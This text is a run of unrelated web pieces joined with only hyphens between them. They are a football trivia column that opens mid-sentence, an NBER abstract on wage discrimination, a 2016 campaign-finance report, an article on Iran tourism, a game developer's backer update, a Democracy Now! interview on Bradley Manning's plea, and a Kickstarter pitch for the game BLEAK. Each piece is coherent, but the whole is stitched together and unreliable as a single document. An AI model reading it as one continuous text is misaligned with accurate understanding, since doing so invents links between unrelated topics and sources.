so far, none of these footballing giants have played their neighbours at these stadiums. In Liechtenstein's second match in an official tournament, a Euro 96 qualifier on 7 September 1994, they played Austria at the Sportpark Eschen-Mauren, their first international venue, which is about 2.2km from Austria, so that's a no-go as well. Also back in 1935, Poland travelled to Breslau to play a friendly against Germany. These days Breslau is best known as Wroclaw, and is now a part of Poland.  "Looking at Africa, it's worth pointing out Lesotho's national stadium in Maseru, the venue of a 2002 World Cup qualifier against South Africa. By my reckoning, it's roughly 1,650m to the South African border. Finding accurate information of international matches in Africa isn't easy. So far my best bet for a winner would be China, who played away at Macau in a World Cup qualifier on 20 February 1984. The current national stadium, Estádio Campo Desportivo, is perhaps 700m from the middle of the river that separates the former colony from China. The stadium wasn't finished before 1995 though, so I don't know exactly where the match took place."  KNOWLEDGE ARCHIVE  "Can you help settle what is fast becoming an argument full of bickering and insults between me and my mate?" asked Dave Edes in 2003. "Did journeyman striker Paul Rideout ever turn out for a Hong Kong Select XI when they played England a few years back?"  No, afraid not Dave. As the England online website noted, only Mike Duxbury and David Watson turned out when England beat a Hong Kong Golden Select XI 1-0 on 26 May 1996. "Although Duxbury was 36 and Watson 34, they effectively stifled England's attack, plunging the England team's prospects into doubt as they flew home for the start of the European Championship tournament," it sagely wrote. Meanwhile Steve Cliff, who was at the match, said: "The game was rubbish, my ticket cost the equivalent of £50 and the outstanding moment was Steve McManaman being shrieked at like a Beatle when taking a corner – by male Cantonese teenagers."  For thousands more questions and answers, take a trip through the Knowledge archive.  CAN YOU HELP?  "My team, Charlton Athletic, are currently on a run of 73 games without a goalless draw," writes Jon Laysell. "Is this a record?"  "Last week, the prime minister of Russia, Vladimir Putin, visited Belgrade," begins Vedrana Nikolic. "After meetings with our officials he showed up at a football game between two youth teams: Belgrade's Red Star and St Petersburg's Zenit. Many of my colleagues claimed it was the first time in history that one foreign high official visited any football game which wasn't the finale of some big competition. I am pretty sure they are wrong, but I hope that you could help me prove it to them."  "I remember when I was a young boy, 1 April fell on a Saturday, so the Football League decided to create a 'hilarious' jape by sending referees and linesmen with thematically linked names to the same game," recalls Robin Tucker. "All I can remember is that one match had Mr Bishop and Mr Church (and presumably Mitre as the ball sponsor) while another had three officials all called Smith. Judging by the date it would have to be 1989. I can't find any record of it."  Send your questions and answers to knowledge@theguardian.com.
-Discrimination and Worker Evaluation  NBER Working Paper No. 21612  Issued in October 2015  NBER Program(s):Labor Studies  We develop a model of self-sustaining discrimination in wages, coupled with higher unemployment and shorter employment duration among blacks. While white workers are hired and retained indefinitely without monitoring, black workers are monitored and fired if a negative signal is received. The fired workers, who return to the pool of job-seekers, lower the average productivity of black job-seekers, perpetuating the cycle of lower wages and discriminatory monitoring. Under suitable parameter values the model has two steady states, one corresponding to each population group. Discrimination can persist even if the productivity of blacks exceeds that of whites.  Acknowledgments  Machine-readable bibliographic record - MARC, RIS, BibTeX  Document Object Identifier (DOI): 10.3386/w21612  Users who downloaded this paper also downloaded* these:
-Republican presidential nominee Donald Trump shakes hands with supporters at a campaign rally Friday in Dimondale, Mich. (Bill Pugliano/Getty Images)  Hillary Clinton outspent Donald Trump by a wide margin in July, funding a costly television blitz and deploying hundreds of staffers across the country — traditional campaign investments that her Republican presidential rival has largely forgone.  The Democratic White House contender spent nearly $49 million last month through her campaign committee and a joint fundraising committee that raises money for Hillary for America, according to new finance reports filed Saturday night. Almost $26 million of her monthly expenses went to produce and air a blizzard of television and online commercials — part of what has been a $120 million ad bombardment by her campaign. Clinton’s operation also spent nearly $5 million to pay 705 staffers in July and $2 million on travel.  Trump, meanwhile, had his biggest spending month yet, doubling the amounts he spent in May and June. But the $18.4 million his campaign shelled out in July was still a fraction of Clinton’s arsenal. Nearly half of the money, $8.4 million, went to one company: Giles-Parscale, a web-design firm whose president, Brad Parscale, serves as the Trump campaign’s digital director.  The San Antonio-based company, which got its foothold designing websites for the Trump Organization in 2011, has emerged as one of his campaign’s biggest vendors, taking in $12.5 million so far. In the last few months, Giles-Parscale’s portfolio has grown as it has spearheaded Trump’s belated but aggressive online fundraising effort.  Other large sums spent by the Trump campaign in July went to travel ($3.2 million) and merchandise ($1.8 million). The campaign doled out $773,000 to reimburse various Trump-owned companies for expenses. In all, nearly $7.7 million has been paid out to Trump companies or Trump family members to cover campaign expenditures, filings show.  While Trump’s payroll remained a fraction of Clinton’s last month, he continued to pay one former staffer: ousted campaign manager Corey Lewandowski received his regular $20,000 monthly fee on July 6 – two weeks after he was jettisoned and had been hired by CNN as a political commentator. Trump has continued to call on Lewandowski for advice since his departure, a dynamic that contributed to friction with campaign chairman Paul Manafort, who resigned last week.  Altogether, since the beginning of the 2016 campaign, Trump’s campaign has spent $89.5 million on his bid, while Clinton’s operation has invested almost $319 million.  The sharp imbalance is driven in part by the real estate tycoon’s belief that he does not need to pay for the usual campaign tools, relying instead on his social media reach and coverage of his raucous rallies. His campaign just launched its first general election TV ad last week, saying it planned to spend $4.8 million on a 10-day ad buy in Ohio, Pennsylvania, North Carolina and Florida.  [Clinton’s allied super PAC laps pro-Trump groups in the money race]  The billionaire also trails his Democratic rival when it comes to raising money. July was his best month yet: the Trump campaign and two joint fundraising committees it has with the RNC together pulled in $82 million, officials announced earlier this month. That came close to the $90 million that Clinton raised in conjunction with the Democratic party in July.  However, Trump does not appear to be harvesting as much cash from those joint fundraising efforts as Clinton does. His campaign said that that it raised $64 million with the RNC through online donations and direct mail in July, ostensibly mostly small contributions that would be directed to his committee, rather than the party. But Trump’s campaign reported just $36 million in receipts last month. That included $14.5 million transferred from the joint fundraising committees and a $2 million donation from Trump himself, who has now given a total of $52 million to finance his White House bid.  It is unclear why more money was not transferred from the joint fundraising committees, which are not scheduled to file their next finance reports until Oct. 15. The Trump campaign did not respond to requests for clarification.  Meanwhile, Clinton raised $62.3 million for her campaign in July, including more than $30 million raised through two joint fundraising committees.  After accepting their parties’ nominations at their July conventions, the two candidates headed into the final three-month stretch of the campaign in starkly different financial positions.  Clinton’s campaign had more than $58 million in the bank, while Priorities USA Action, the main super PAC flanking her bid, boasted nearly $39 million on hand.  Trump’s committee had more than $38 million in reserves, while two of his biggest super PACs reported less than $4 million between them as August began.  The Democratic National Committee also had a blockbuster month, thanks to big-dollar donations that Clinton has helped raise for the party. The DNC pulled in $32 million, compared to the Republican National Committee’s $24 million’s July haul. But the RNC’s strong fundraising lead gave it a larger cash edge heading into August, with $34.5 million in the bank and $7.7 million in debt compared to the DNC’s $10.1 million cash on hand and $4.5 million in debt.
-Wild Frontiers, an adventure operator, has nine group tours scheduled for 2014, five of which are sold out to their maximum capacity of 12, and contrasts with two group tours in 2013, neither of which ran full. The company has seen tailor-made bookings rise from four last year to 26 so far in 2014, with many more in the pipeline.  Tailor-madeadventures.com, which creates itineraries for Iran, has seen an 80 per cent increase in enquiries since the beginning of the year and said that the vast majority of interested customers have gone on to book. The company sent 24 customers to the country in 2013, and so far has had bookings for 50 people this year.  Jim O’Brien, the company's head of development, said: "Thirty-five years ago, Iran dropped off the tourist map, becoming the preserve of a few hardcore independent travellers and those in organised groups. Since the election of Hassan Rouhani as president last August, however, and a thawing in political relations with the west, it seems that Iran is returning to travellers' bucket lists with a bang."  Numerous tour operators have compared Iran’s future to that of Burma, which has been a top-selling destination since the election of Aung San Suu Kyi in 2012 and the subsequent change in stance on tourism in the country.  Although his company has been running trips to Iran for 10 years, Jonny Bealby, founder and managing director of Wild Frontiers, told Telegraph Travel that in the last six months or so there has been a significant increase in demand for the destination, which he puts down to "the election of a more moderate leader, and last year’s nuclear agreement”.  The expectation that the British government will ease its travel advice to Iran will lead to a further increase in bookings, according to tour operators.  “Once this [advice against travel] has been lifted, we predict a further, even-greater increase in demand, one similar to when Aung Sang Suu Kyi changed her stance on travel to Burma a few years ago," Jonny Bealby added.  The Foreign Office still currently advises against all but essential travel to most of Iran, and against all travel to within 62 miles (100km) of the entire Iran/Afghanistan border and within six miles (10km) of the entire Iran/Iraq border. However, there is the feeling among tour operators and country experts that these restrictions are more to do with diplomatic relations than actual risk to travellers. Tour operators running trips to Iran currently do so against Foreign Office advice.  In January, Telegraph Travel predicted that Iran would be one of the world's top destinations in 2014, citing "epic scenery, an extraordinary history and culture and a warm welcome".  Martin Randall Travel, a specialist cultural tour operator, is planning two tours to Iran for 2015 in June and October, concentrating on the major buildings and archaeological sites in Tehran and Shiraz, the former capital of Persia. The tour will allow three days in Isfahan, to visit all the major monuments. The company last ran a tour to Iran in September 2010 and the three scheduled for 2011 all had to be cancelled.  Liz Brown, the company’s marketing manager, explained that if the Foreign Office advice remains unchanged, their 2015 tour will not run, but that they will be accepting bookings as they are expecting the advice to change later this year. This caveat will be explained in the brochure, Ms Brown added.  Travel to Iran is not without its difficulties. Female travellers must wear a headscarf at all times, alcohol is prohibited, and driving standards are notoriously poor. The current Foreign Office advice means that obtaining valid travel insurance is difficult, although operators such as Wild Frontiers offer their own policies.  In addition, British tourists currently wishing to travel to Iran must obtain their visas from the country’s embassy in Dublin, since the Iranian embassy in London has been closed since 2011. The Foreign Office currently says that the Iranian Consulate in London may be able to offer limited advice on getting a visa, a process that it warns can be “long and unpredictable”.  But Mr O’Brien of Tailor-madeadventures.com added that “while it's not ideal for travellers to have to obtain their visas outside of the UK, judging by our bookings, this is proving to be only a minor hurdle to single-minded travellers wanting to experience Iran for the first time."  Although political relations with the west have made travel to Iran difficult for the past few decades, the country holds some of the world’s most spectacular ancient ruins and religious sites, including the Unesco World Heritage site of Persepolis, which dates from 515 BC, and the expansive Imam Square in Isfahan.  Read more  Twenty destinations for 2014: in pictures  Follow @TelegraphTravel
-Hi everyone!  First of all, many apologies for the last month update skip.  A few crucial things have happened in the last couple of months and some very important decisions have been made as well as we'll try and explain.  1. Additional Funding Acquired  This has been lurking over the dev team for almost a year now and with the scope of the game having expanded quite a bit since the end of Kickstarter both in terms of scale and depth, we knew we had to find additional resources to finance the project at some point.  That point has come and after months of discussions, negotiations, term agreements, paperwork and so on, we've finally secured additional funding (amount we can't disclose right now) which basically means we can finally just make what we'd like to make without having to worry about whether a certain feature is "worthwhile" or limited by pipeline issues. We believe everything is worthwhile since we know some of you will enjoy it and appreciate it.  So money issues are completely gone for the time being and our mind and soul is replenished with creativity once again.  2. UE4 Pipeline Hurdles  On the dev side, there have been a few fundamental issues mostly related to creating and polishing the quality of all character movements in UE4.  We've been looking into these issues (such as use of root motion and mirroring animations) for some time and the great guys at Epic have also been very supportive in trying to resolve this with us. Although we can simply do away with this like many other games but with our minimalistic concept, fluent, seamless motion details are crucial and we needed to perfect this at whatever the cost.  Fortunately we were able to find a solution by creating our own new set of pipelines in the asset preparation process so hopefully things will be smooth sailing for a while.  3. New Recruits!  With additional funds secured and pipeline sorted out, we've managed to take on board additional team members to really start grinding.  We've taken on 6 additional talents - 2 modelers, 1 animator, 1 support artist and 2 UE4 programmers. That brings our team to a total of 12 now and we'll be keeping it that way until our main build.  We have received many applications from abroad but in the end, the distance and time barrier was hard to overcome and until we are in a position to open up office in the U.S. or perhaps somewhere in Europe, at the moment, we don't think remote working and communications will cut the cake. Although we'd like to bring talent over here, we're just not that well off yet :)  All our new members will start their 1st day during next month so we really anticipating to pick up greater momentum and energy as well as added creativity.  4. New Project Milestones  We are aware that many backers are rightly curious as to the release date and so I guess it's our duty to share with you at least our new set of milestones.  As many of you have assumed and inquired already, the original expected release date which we noted at the start of our KS campaign was um.... now :) To explain simply, like many other who have come before us, we just had to put something up based on very rough "gut" estimates on the basic game features we had in mind.  With design depth and scope being continuously evolved, new, better ideas emerging, asset management issues arising, pipeline changes being made and so forth, we are now very much more confident in announcing a more realistic schedule.  Key milestones are as follows:  Feb 2017 - Main build (all core key features)  Mar 2017 - GDC  Jun 2017 - E3  End 2017 - Full Build (World build)  2018 - Early access, QA, localization, release  Early access timings will need to be announced based on the level of standard achieved during the full build and in reality, release dates will need to be decided with publishers and platforms.  We're still hoping for a concurrent platform release but according to many advice from professional experience, that's going to be tough with differing QA processes and interests. At the very least, we are targeting PC (Steam, GOG etc.) + a console or minimal release time gaps among the other platforms.  This is also the actual general milestone we have obliged by and bound to our new investment company so schedule management is "also" a top priority - second to product quality of course :)  We know many have optimistically hoped for a much sooner release and we apologize for having to announce this now but we've just managed to sort everything out over the past couple of months and we are content that at least finally we are announcing something we're confident with.  A quick note also that in future updates, please understand that we are somewhat limited in our freedom in disclosing some key designs and/or visuals (not that we've shown off plenty anyway...) but we'll do our best to sneak in a few shots here and there and share some more ideas "with the purpose of receiving constructive feedback and response from the community" :)  We can only ask for your continued moral support and belief, so in due course, we can kick some serious butt!  Finally, we'd like to ask all readers to please hold off your sound/music score/translation/localization/collaboration/marketing inquiries until towards the end of the year since we cannot get around to give these issues serious thought it deserves.  Thanks once again and back to work.
-This is a rush transcript. Copy may not be in its final form.  AMY GOODMAN: For the first time, 25-year-old U.S. Army Private Bradley Manning has admitted to being the source behind the largest leak of state secrets in U.S. history. More than a thousand days after he was arrested, Manning testified Thursday before a military court. He said he leaked the classified documents to the whistleblowing website WikiLeaks in order to show the American public the “true costs of war.”  Reading for over an hour from a 35-page statement, Manning said, quote, “I believed that if the general public, especially the American public, had access to the information … this could spark a domestic debate on the role of the military and our foreign policy in general.” He added, quote, “I believed that these cables would not damage the United States. However, I believed these cables would be embarrassing.” He said he took the information to WikiLeaks only after he was rebuffed by The Washington Post and The New York Times.  At the pretrial hearing at Fort Meade military base in Maryland, Manning pleaded guilty to reduced charges on 10 counts, which carry a maximum sentence of 20 years in prison. But even if the judge accepts the plea, prosecutors can still pursue a court-martial on the remaining 12 charges. The most serious of those is aiding the enemy and carries a possible life sentence.  Over the course of the hearing, Bradley Manning took responsibility for leaking the so-called “Collateral Murder” video of an Apache helicopter attack in Iraq; some U.S. diplomatic cables, including one of the early WikiLeaks publications, the Reykjavik cable; portions of the Iraq and Afghanistan war logs; some of the files on detainees in Guantánamo; and two intelligence memos.  For more, we’re joined by Michael Ratner, president emeritus of the Center for Constitutional Rights, lawyer for Julian Assange and WikiLeaks. He has just returned from attending that pretrial hearing last night for Bradley Manning.  Michael Ratner, welcome back to Democracy Now! Well, this is explosive. Bradley Manning stands in court and accepts responsibility for releasing the documents, says he is guilty of doing that.  MICHAEL RATNER: It was one of the more moving days I’ve ever spent in a courtroom. You’ve heard from Bradley Manning once before, which was when he testified about the torture that happened to him. I was crying through that. This was amazing. I mean, he actually didn’t stand; he sat at the defense table. And he read his 35-page statement, which, sadly, we do not have a copy of, even though there’s nothing classified about that statement. And hopefully we’ll get it, because that is something that should be taught in every school in America.  He went through each of the releases that he took responsibility for, that you mentioned on the air, and he told us why he did it. And in each case, you saw a 22-year-old, a 23-year-old, a person of incredible conscience, saying, “What I’m seeing the United States do is utterly wrong. It’s immoral. The way they’re killing people in Iraq, targeting people for death, rather than working with the population, this is wrong.” And in each of these—each of these statements tells you about how he was doing it politically.  AMY GOODMAN: Remind us of how he did this. He was actually serving in Iraq as a soldier.  MICHAEL RATNER: Yes, he was a soldier. He was in—and he goes through that in his statement. He’s an intelligence analyst. And one of the things he worked with, what were called “significant activities reports,” which are the daily logs of what’s happening in Iraq and, attached to it, of course, in Afghanistan. And as he read those, I think he became appalled by what he saw: the killings, the targeted assassinations, the fact that people didn’t want the United States there, the fact that we weren’t really helping the country or helping individuals. And he said he wanted to lift the fog of war from it. And he got in touch with various organizations, including WikiLeaks. And that, he talks about. He talks about that. And—  AMY GOODMAN: Explain. He actually said he didn’t go to WikiLeaks first.  MICHAEL RATNER: No, that’s correct. He first—he had these documents on a disk that he eventually took out of—took out of the special secure room. He actually came to the United States with it. That’s the Iraq war logs and the Afghan war logs. And he tried to get it to The New York Times and The Washington Post. He calls up The Washington Post, has a five-minute discussion with somebody there.  AMY GOODMAN: Does he know who?  MICHAEL RATNER: He doesn’t recall who, or at least didn’t say it. He doesn’t take it—he said they don’t take him seriously, and then he feels he can’t get that. He calls the public editor at The New York Times and leaves a message on the answering machine of the public editor and doesn’t get a call back. He’s then thinking about: “How am I going to get this critical information out? Because I think what the U.S. is doing should be debated in the United States. We’re killing people without cause, essentially.”  And then, he has already known about WikiLeaks, because he was aware of WikiLeaks in part because of their release of the text messages or the SMSes from the World Trade Center phones that were there on 9/11. So he’s aware of WikiLeaks. He’s in some communication, by chat or otherwise, with WikiLeaks. And they point him to a site where he can upload, upload the documents.  One interesting point on that is what he mentions about WikiLeaks. Some papers have reported that he said he believes he was in communication with Julian Assange. He actually says it could have been Julian Assange, it could have been someone he calls “Daniel Schmitt,” which is probably Daniel Domscheit-Berg from Germany. And he says—and it also says it could have been someone high up in WikiLeaks. He really doesn’t know. And he says, “Whatever I did in this case, I did because I wanted to do it. I was not pressured to do it. I made the decision to do it.” So he tries these other media, and ultimately he sees that WikiLeaks has a way of uploading documents that’s anonymous, that he doesn’t know who’s on the other end, and they don’t know who’s on his end.  AMY GOODMAN: He also said he was motivated by the Reuters FOIAs, right? Freedom of the Information Act requests to get the—what came to be known as the “Collateral Murder” video.  MICHAEL RATNER: I mean, when we can get the transcript and put out the quotes of what he said, on that “Collateral Murder” video, which he saw the Reuters journalists killed, then he saw them attack the van that was trying to rescue people, in which children were injured, and he said, “What I heard them say in that helicopter as they were shooting was incredible bloodlust.” “Bloodlust,” that’s what he said.  AMY GOODMAN: During that pretrial hearing on Wednesday, let’s talk about this, Michael. Bradley Manning spoke about the “Collateral Murder” video of an Apache helicopter attack in Iraq and admitted for the first time being the source of the leaked tape. Manning said, quote, “The most alarming aspect of the video to me was the seemingly delightful bloodlust the aerial weapons team happened to have.” He added, the soldiers’ actions, quote, “seemed similar to a child torturing ants with a magnifying glass,” describing the video as “war porn,” saying the crew’s “lack of concern for human life” and “concern for injured children at the scene” greatly bothered him. So, this is the video—it was shot July 12th, 2007—that Manning referenced. It shows U.S. forces killing 12 people, including two Reuters employees. Now, this video is taken by the U.S. military Apache helicopter. It is the camera that’s mounted within the helicopter. You hear the soldiers in the helicopter joking, cursing. And it is showing a target on the men who are walking in an area of Baghdad known as New Baghdad below. Among them, an up-and-coming Reuters videographer named Namir Noor-Eldeen and his driver, Saeed Chmagh.  U.S. SOLDIER 1: I have individuals with weapons.  U.S. SOLDIER 2: You’re clear.  U.S. SOLDIER 1: Alright, firing.  U.S. SOLDIER 3: Let me know when you’ve got them.  U.S. SOLDIER 2: Let’s shoot. Light ’em all up.  U.S. SOLDIER 1: Come on, fire!  U.S. SOLDIER 2: Keep shootin’. Keep shootin’. Keep shootin’. Keep shootin’.  U.S. SOLDIER 4: Hotel, Bushmaster two-six, Bushmaster two-six, we need to move, time now!  U.S. SOLDIER 2: Alright, we just engaged all eight individuals.  AMY GOODMAN: Reuters driver Saeed Chmagh survived that initial attack. He’s seen trying to crawl away as the helicopter flies overhead. U.S. forces open fire again when they see a van pulling up. The van comes to evacuate the wounded, like Saeed Chmagh.  U.S. SOLDIER 2: The bodies.  U.S. SOLDIER 1: Where’s that van at?  U.S. SOLDIER 2: Right down there by the bodies.  U.S. SOLDIER 1: OK, yeah.  U.S. SOLDIER 2: Bushmaster, Crazy Horse. We have individuals going to the scene, looks like possibly picking up bodies and weapons.  U.S. SOLDIER 1: Let me engage. Can I shoot?  U.S. SOLDIER 2: Roger. Break. Crazy Horse one-eight, request permission to engage.  U.S. SOLDIER 3: Picking up the wounded?  U.S. SOLDIER 1: Yeah, we’re trying to get permission to engage. Come on, let us shoot!  U.S. SOLDIER 2: Bushmaster, Crazy Horse one-eight.  U.S. SOLDIER 1: They’re taking him.  U.S. SOLDIER 2: Bushmaster, Crazy Horse one-eight.  U.S. SOLDIER 4: This is Bushmaster seven, go ahead.  U.S. SOLDIER 2: Roger. We have a black SUV—or Bongo truck picking up the bodies. Request permission to engage.  U.S. SOLDIER 4: Bushmaster seven, roger. This is Bushmaster seven, roger. Engage.  U.S. SOLDIER 2: One-eight, engage. Clear.  U.S. SOLDIER 1: Come on!  U.S. SOLDIER 2: Clear. Clear.  U.S. SOLDIER 1: We’re engaging.  U.S. SOLDIER 2: Coming around. Clear.  U.S. SOLDIER 1: Roger. Trying to—  U.S. SOLDIER 2: Clear.  U.S. SOLDIER 1: I hear ’em—I lost ’em in the dust.  U.S. SOLDIER 3: I got ’em.  U.S. SOLDIER 2: Should have a van in the middle of the road with about 12 to 15 bodies.  U.S. SOLDIER 1: Oh yeah, look at that. Right through the windshield! Ha ha!  AMY GOODMAN: That is the video that WikiLeaks, when releasing it, dubbed “Collateral Murder,” of the July 12, 2007, attack. In that van, by the way, were two children who were critically wounded. Saeed Chmagh was killed. That is the video that we played first when it was released and also interviewed Julian Assange at the time here in the United States, interestingly. Michael Ratner with us, who is Julian Assange’s attorney. So this video Bradley Manning got in downloading, because it’s a U.S. military video, that Reuters, which had asked repeatedly for it, never got until WikiLeaks released it, to know the last seconds of their employees’ lives.  MICHAEL RATNER: Not only did Reuters never get it, Amy, CENTCOM, which is I guess the central part of the Army, basically said, “We don’t think we have the video.” And yet, everybody that was in the room with Bradley Manning, everybody knew about the video. It was one of many, many videos. He says in this video—and he said it in court—he said, “What was amazing is, when they—after they hurt these children in the van,” he said, “they showed no remorse for the children. And when they saw someone crawling on the ground, they said, 'I hope he picks up a gun,' essentially, 'because we can kill him then.'” So, these people—this was really here a 22- or 23-year-old man watching this. Most people would have said, “Well, I’ll just get through the Army, and that’ll be it.” He didn’t, and he’s a hero for that, because what he did is he acted on his moral conscience, and he exposed what the—the war crimes the U.S. was doing.  AMY GOODMAN: So, what does this mean right now? Bradley Manning has pleaded guilty to uploading the largest trove of state secrets in U.S. history to WikiLeaks, which then released them. What does he face exactly?  MICHAEL RATNER: Well, he faces a possible 20 years in prison. But the problem here, military is different than our regular courts in the U.S., which is to say that the plea does not have to be accepted by the government or by the judge—  AMY GOODMAN: So why would he have agreed to plead guilty?  MICHAEL RATNER: —or by the prosecutor, really. He did what’s called a “naked plea.” His hope, I think, is that when the government sees this and also the support he’ll get for acknowledging what he did and also the reasons and the moral reasons why he did it and the political reasons he did it, that the government won’t go on and try and prove aiding the enemy and the more serious espionage charges. What he really pleaded to was doing actions that were prejudicial to the good order and discipline of the military, by giving documents to someone not authorized or a group not authorized to get them. So he faces 20 years. I think he did it because he was otherwise facing, and he still could be facing, life imprisonment, if not the death penalty. So they’re trying to figure out—  AMY GOODMAN: Because? Life imprisonment for?  MICHAEL RATNER: For espionage, as well as the death penalty.  AMY GOODMAN: Well, what about this charge, aiding the enemy?  MICHAEL RATNER: Well, that’s the—  AMY GOODMAN: What is the case for it?  MICHAEL RATNER: Well, that’s the craziest. I mean, that’s just saying, because he gave documents to WikiLeaks and they were published by WikiLeaks — and they were published by The New York Times, I should say, and The Guardian and Der Spiegel — that al-Qaeda read those documents, and therefore WikiLeaks was essentially the transmittal means he used to get documents to al-Qaeda. So that the enemy there is al-Qaeda; some would say the enemy is even WikiLeaks, according to the U.S. government. But that’s the claim. It seems like a completely spurious, ridiculous claim. You can go after The New York Times for that every time it publishes and someone from a, quote, “terrorist” group reads those documents. So it’s a nonsensical claim.  But he was facing life. And he made this statement that—you know, I just want to say that whatever people’s images were of Bradley Manning from the newspapers, which have reported on this, you know, disturbed human being, this disturbed individual, this man gave a political statement that should be read, I think, by every American and should certainly be taught in every one of our schools on what the moral obligations are of people in the military to stop, really, a killing machine of the United States.  AMY GOODMAN: And what does this mean for Julian Assange? You’re his attorney. You were just recently there once again in London in the Ecuadorean embassy, where he is holed up and granted political asylum by Ecuador but can’t leave the embassy or Britain, the British authorities, will arrest him. The significance of this, Julian Assange, who believes the grand jury empaneled here could indict him for espionage and is afraid of being extradited here?  MICHAEL RATNER: Well, there are two things that came out. One is, I would say that Bradley Manning’s testimony put WikiLeaks and Julian Assange in the same place that The New York Times would be or The Guardian, which is to say he gave documents or uploaded them to a website that is the equivalent of—you know, with The New York Times getting information about warrantless wiretapping from someone in the U.S. National Security Agency. So I think, in that sense, it tells us that the U.S. should get off his back, that Julian Assange should be getting the support of The New York Times and The Guardian and Der Spiegel, which used all of these—which used all of these documents. So I think it’s actually, in that sense, helpful to Julian Assange.  On the other hand, there were two people who were identified to me as members—as lawyers on the grand jury that’s sitting in—that’s sitting in Virginia. Two of the prosecuting attorneys were there in the court.  AMY GOODMAN: Yesterday, at the pretrial hearing of Bradley Manning.  MICHAEL RATNER: Yes, yes, yes.  AMY GOODMAN: So they’re there, and you’re there, Assange’s attorney.  MICHAEL RATNER: They’re there, and I’m there. I didn’t have a chance to meet them, because they don’t come out and mix with the rest of us. They’re on the government’s side with—surrounded by camouflaged people. But they were there. And so, that tells us that that grand jury is still active and going on, and that they are still after Julian Assange and WikiLeaks. When I say “they,” the U.S. government. But for some reason, they’re thinking they can distinguish that from The New York Times and The Guardian. I don’t think they can. And I think it’s—you know, to me, it’s outrageous that The New York Times and The Guardian have not supported one of the people they worked with in revealing these documents.  AMY GOODMAN: Well, Michael Ratner, I want to thank you for being with us, president emeritus of the Center for Constitutional Rights, lawyer for Julian Assange and WikiLeaks, returned last night from attending the pretrial hearing for Bradley Manning, who has been in detention now for more than 1,000 days.  This is Democracy Now!, democracynow.org, The War and Peace Report. When we come back, Salt Sugar Fat: How the Food Giants Hooked Us. Stay with us.
-About  What is "BLEAK"?  BLEAK is a Massive Fantasy Platformer for PC, Mac and Linux, that we've been developing for the past year. In it we have revived the lost art of storytelling to connect the gamer to a dangerous and vicious new world.  In short we're totally committed to creating the single player, lore-loaded, character-driven, challenging platformer that we've been aching to play and we hope you've all been waiting for!  So How "BLEAK" are we Talking?  Great question! To answer it we'll need to take a look at the game's setting and lore.  Imagine a world where immediately upon birth your dominant arm is amputated and replaced with a pickax. As soon as you can walk, you're sent into the darkest, coldest mines to extract a precious golden metal known as "Core". You have no choice. The omnipresent "Cultivators of Good" will punish acts of defiance with denial of food. Your family gets their rations by working in factories and building new augmentations for future workers. Unlike you, their limbs have been swapped with wrenches and hammers.  To the north flows an ocean of acid and past that lies the distant island you know only as "Suffer". This is where you're told the disobedient are forever punished. To the east looms a river of green and orange sludge and imposing cliffs just beyond. And even farther menaces the seemingly endless wall called "Never". Its name developed in response to the fate of any who attempted to scale it. They were "never" seen or heard from again. Or at least... that's what you've been told.  You are a Sourcer of The Pinnacle and if you're not dead, or your mouth isn't sewn shut for questioning your life... you are without doubt one of the lucky ones. Oh and if you ever see what looks like a moving tree or two small, round, glowing circles off in the distance, we regret to inform you that escape is impossible. You are as good as dead.  Bleak enough for you? This world is mean, dark, and cruel. Its massive scope and landscape require your brave exploration despite the necessity for constant vigilance as new monsters and mysteries lurk around every corner.  Pictured above are some of the races found only in this game. These aren't elves or dwarves. We've spent over a year crafting original concepts with wild characteristics. You can meet and interact with these exotic and sometimes brutally dangerous beings on your journey!  Each race in the world of Pinnacle has been fleshed out to such an extent that even their languages are based on unique alphabet glyphs. These will appear throughout the game on signage and in tomes (if you're lucky enough to find one). The depth and authenticity created by this detail is mesmerizing.  The journeying portion of our game will take place as a richly detailed action platformer. You'll play as Sky, Bug and Bleak and face off against a myriad of lethal and unusual enemies. It's important to note that the above footage is an Alpha build of the game, and is only meant to illustrate some platforming mechanics and the overall aesthetic.  Whenever you enter a town or city, the camera will reposition, transforming your perspective from an action platformer into that of a top-down adventure game. This will allow you to truly get up close and personal with the many inhabitants of Pinnacle. Talk to them, explore their shops and homes! Have fun!  You may have noticed the circular border around our gameplay screenshot. That's because you're seeing the world through the lens of an old Sourcer scavenger robot called "Glitch" (pictured above). By justifying the existence of the camera we can add a new level of immersion and connect the player that much more to this dangerous world.  What do you believe? Pictured above is a diagram detailing the various belief systems that occur throughout Pinnacle. They apply to different races and play a large part in determining how certain NPC's will interact with the player on their adventure. Just like the languages, these are far from random, but rather are based upon faithfulness to lore and legends of the characters and races.  • 3 Playable Characters Each With Their Own Special Abilities  • 7 Original Races  • 15 Explorable Territories  • 70+ Levels (Including Secret Levels)  • Levels with Branching Endings  • A Huge Story Spanning Thousands of Years  • 8 Fully Incorporated 26 Character Alphabets  • 9 Integrated Belief Systems  • 50+ Interactive NPC's  • Mount and Airship Travel  • Pet Companions  • Top-Down City Exploration  We are a Boston-based independent game studio. We have assembled a team of seven artists who have been working tirelessly for over a year now on our first project in development, BLEAK. We are all diehard gamers dedicated to the revitalization of the tradition of incorporating creativity, originality, and story-telling into video games. We're thrilled to watch as BLEAK becomes everything we knew it could and would be, but we have reached the point where we truly need your help, and that is where this kickstarter campaign comes in. Let's make this thing together and bring back all the depth and imagination that this valued art form, the video game, has to offer!  In order to make a platformer this massive and this conceptually experimental, we have to bring it straight to our fellow gamers. Publishers typically want nothing to do with innovation because they are set on the proven sell. But we truly believe that other gamers like ourselves would relish the opportunity to play a game that's edgy, creative, and utterly original and yet at the same time a bit of a throwback to the the late 90s Glory Age Of Gaming when stories, lore, and characters mattered. Kickstarter seems like the perfect vehicle through which to accomplish our goal.  The money we receive will go directly to funding the marketing, expenses, and talent challenges that we now face in order to see this project through to its completion. It's a huge commitment, and we're totally up to it! If you show us through your support that this game means as much to you as it does to us, we are prepared to create for you a game of epic proportions!  In other words, we have the team, we have the talent, and with your help we will have the resources to bring to you and to all BLEAK, the massive fantasy platformer that we've all been yearning for.  We will make this game as large as you show us you want it to be. Anything we make over our goal will fund additional content, be it additional levels, animations or even whole chapter expansions!  1.5 GB RAM  2.2 GHz Processor  512 Mb Video RAM  Adobe Flash Player  4 GB Hard Drive Memory
